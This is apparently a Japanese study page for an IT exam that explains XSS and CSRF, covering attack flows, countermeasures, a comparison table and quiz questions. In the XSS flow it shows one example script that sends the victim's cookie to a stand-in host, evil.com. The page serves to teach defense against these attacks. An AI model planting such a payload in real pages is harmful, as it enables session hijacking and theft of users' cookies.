⏱ 9分 ★★★★★ 頻出:高

XSS・CSRF

スクリプト埋め込みと不正操作。2つの攻撃の違いを攻撃フローで理解

XSS=「罠スクリプト」、CSRF=「なりすまし操作」

XSS(クロスサイトスクリプティング)は、攻撃者がWebサイトに悪意あるスクリプトを埋め込み、それを見た他のユーザーのブラウザで実行させる攻撃。

CSRF(クロスサイトリクエストフォージェリ)は、ログイン済みのユーザーに意図しないリクエストを送らせる攻撃。

XSS(クロスサイトスクリプティング)

XSS攻撃の流れ
1 攻撃者が掲示板・コメント欄などに悪意あるスクリプトを投稿
<script>document.location='https://evil.com?c='+document.cookie;</script>
2 被害者が同じページを閲覧する
3 被害者のブラウザでスクリプトが実行され、クッキー(セッションID)が攻撃者へ送信
4 攻撃者がセッションを乗っ取り、被害者になりすましてサービスを使用
XSSの対策
  • HTMLエスケープ<&lt;に変換し、タグとして解釈させない
  • HTTPOnly属性:クッキーをJSから読めなくする
  • CSP(Content Security Policy):許可したスクリプト以外は実行させない
  • WAF:攻撃パターンを検知・遮断

CSRF(クロスサイトリクエストフォージェリ)

CSRF攻撃の流れ
1 被害者がネットバンキング等にログインし、ログイン状態のまま別のページを見る
2 罠ページに「振込」リクエストを送るリンク・画像が仕掛けられている
3 被害者が知らないうちに、ログイン中のサイトへ不正なリクエストが送られる
4 サイトはログイン済みの正規ユーザーからのリクエストと判断し、振込が実行される
CSRFの対策
  • CSRFトークン:フォームに秘密のトークンを埋め込み、送信時に照合する
  • Refererチェック:リクエストの送り元URLを確認する
  • SameSite属性:外部サイトからのクッキー送信を制限する
  • 重要操作は再認証を求める

XSSとCSRFの違いまとめ

比較XSSCSRF
誰を攻撃サイトの閲覧者サイトにログイン中のユーザー
攻撃の手段スクリプトをサイトに埋め込む罠サイトから不正リクエストを送らせる
主な被害クッキー盗用・なりすまし不正操作(送金・設定変更)
主な対策エスケープ・CSP・HTTPOnlyCSRFトークン・Referer確認
🧠 確認クイズ
Q1. XSS攻撃の主な目的として適切なのは?
Q2. CSRFトークンを使う目的は?
Q3. CSRF攻撃が成立する前提条件は?